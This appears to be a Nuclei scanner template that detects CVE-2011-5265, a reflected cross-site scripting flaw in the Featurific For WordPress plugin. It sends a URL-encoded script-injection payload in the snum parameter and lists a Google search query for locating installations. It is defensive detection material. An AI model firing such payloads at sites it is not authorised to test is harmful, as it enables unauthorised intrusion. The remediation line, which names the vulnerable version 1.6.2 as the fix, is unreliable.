id: CVE-2011-5265

info:
  name: Featurific For WordPress 1.6.2 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in cached_image.php in the Featurific For WordPress plugin 1.6.2 for WordPress allows remote attackers to inject arbitrary web script or HTML via the snum parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the Featurific For WordPress plugin (1.6.2) or apply the vendor-supplied patch to fix the vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2011-5265
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/71468
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/d4n-sec/d4n-sec.github.io
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2011-5265
    cwe-id: CWE-79
    epss-score: 0.06129
    epss-percentile: 0.90907
    cpe: cpe:2.3:a:featurific_for_wordpress_project:featurific-for-wordpress:1.6.2:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: "featurific_for_wordpress_project"
    product: "featurific-for-wordpress"
    google-query: "inurl:\"/wp-content/plugins/featurific-for-wordpress\""
  tags: cve2011,cve,wordpress,xss,wp-plugin,featurific_for_wordpress_project,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/featurific-for-wordpress/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Featurific For Wordpress'

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/featurific-for-wordpress/cached_image.php?snum=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a9ad88e1b65c2dcc7f6bb841cf87f728ebe4f96b23729fdaba3c4d4c726180b40221009f5ff77de900e49d2420cea174b2bb18656eb79d245d32c47cf351b09d6034d6:922c64590222798bb761d5b6d8e72950